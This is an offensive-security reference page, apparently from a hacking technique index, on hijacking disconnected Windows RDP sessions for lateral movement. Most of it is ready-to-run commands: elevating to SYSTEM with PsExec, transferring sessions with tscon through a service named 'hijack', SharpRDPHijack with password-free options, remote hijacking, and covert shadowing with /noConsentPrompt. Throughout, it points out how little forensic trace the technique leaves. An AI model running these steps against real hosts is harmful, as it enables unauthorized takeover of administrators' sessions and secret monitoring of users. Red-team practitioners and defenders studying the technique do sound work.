# RDP Session Hijacking – tscon and SharpRDPHijack

> Hijack active/disconnected RDP sessions without credentials using tscon.exe or SharpRDPHijack, enabling lateral movement via existing authenticated sessions.

- **URL:** https://hackindex.io/services/rdp/lateral-movement/session-hijacking
- **Path:** RDP > Lateral Movement
- **Up:** [Lateral Movement](https://hackindex.io/services/rdp/lateral-movement.md)
- **Published:** 2026-03-11
- **Updated:** 2026-07-10

Windows Terminal Services allows sessions to be transferred between connections using `tscon.exe`. When running as SYSTEM, you can connect to any disconnected session on the host without supplying the session owner's credentials. If a domain admin left a disconnected RDP session on a host you control, you take over their desktop with a single command.

This requires SYSTEM-level privileges on the host. Getting there is a privilege escalation task. Once you have SYSTEM, hijacking is trivial and leaves minimal forensic trace compared to other lateral movement techniques: no new process is created under the target user, and the session transfer looks like a legitimate reconnection.

Session hijacking requirements:

- SYSTEM-level privileges on the host
- Target user has a disconnected (not logged-off) RDP session
- `tscon.exe` to transfer the session to your console

## Identifying Sessions

List all active and disconnected sessions on the current host:

```bash
query user
```

Or the equivalent:

```bash
qwinsta
# USERNAME              SESSIONNAME        ID  STATE   IDLE TIME  LOGON TIME
#  administrator         rdp-tcp#0           1  Active          .  1/10/2024 09:00
#  jsmith                                    2  Disc         1:23  1/10/2024 08:30
#  domainadmin                               3  Disc         0:45  1/10/2024 07:15
```

`Disc` means disconnected: the user closed their RDP window without logging off. Their session is still alive in memory with all their tokens and network connections intact. Session IDs 2 and 3 are targets.

For remote hosts you have admin access to:

```bash
query user /server:$TARGET_IP
```

## Hijacking with tscon - Service Method

`tscon.exe` run directly requires matching session ownership or SYSTEM. Creating a service that runs as SYSTEM bypasses this. From a local admin shell:

Elevate to SYSTEM first using PsExec or any other method:

```bash
PsExec64.exe -s cmd.exe
```

Then switch directly to the target session: connecting it to your current console session:

```bash
tscon $SESSION_ID /dest:rdp-tcp#$YOUR_SESSION_ID
```

Where `$SESSION_ID` is the ID of the session you want to hijack and `$YOUR_SESSION_ID` is your current session name from `query user`.

Without SYSTEM first, create a service that runs tscon as SYSTEM:

```bash
sc create hijack binpath= "cmd.exe /k tscon $SESSION_ID /dest:rdp-tcp#$YOUR_SESSION_ID"
net start hijack
```

The service runs as SYSTEM, executes tscon, connects the target session to your current RDP connection, and their desktop replaces yours. You are now in their session.

Clean up the service afterward:

```bash
sc delete hijack
```

## Hijacking with SharpRDPHijack

SharpRDPHijack automates the WTS API calls and provides cleaner options including remote session querying and shadow session support:

```bash
SharpRDPHijack.exe --session $SESSION_ID
```

Query sessions on a remote host:

```bash
SharpRDPHijack.exe --tsquery $TARGET_IP
```

Hijack a specific session without a password (requires elevated context):

```bash
SharpRDPHijack.exe --session $SESSION_ID --nopw
```

On Windows Server 2019 and later, hijacking a session that is currently redirected to an active RDP connection prompts for the user's password. Redirecting to the console session works without a password on all versions:

```bash
SharpRDPHijack.exe --session $SESSION_ID --console
```

## Remote Hijacking

If you have SYSTEM on one host and want to hijack sessions on another, use PsExec to run the tscon command remotely on the target host:

```bash
PsExec64.exe \\$TARGET_IP -s cmd.exe /k "query user && tscon $SESSION_ID /dest:console"
```

This connects the target user's session to the physical console of the remote host. You then need another RDP connection to view it, or use the shadow feature.

## Session Shadowing (View Without Hijacking)

Shadow mode lets you observe a session without taking it over. This is useful for watching what a user is doing without disrupting their session:

```bash
mstsc /shadow:$SESSION_ID /v:$TARGET_IP /noConsentPrompt
```

`/noConsentPrompt` removes the confirmation dialog that would otherwise alert the user. Requires admin rights on the target.

## References

- [SharpRDPHijack](https://github.com/bohops/SharpRDPHijack) - bohops .NET implementation of RDP session hijacking using WTS API with shadow and console options.
- [tscon](https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/tscon) - Microsoft Docs Official tscon parameter reference and session transfer behaviour documentation.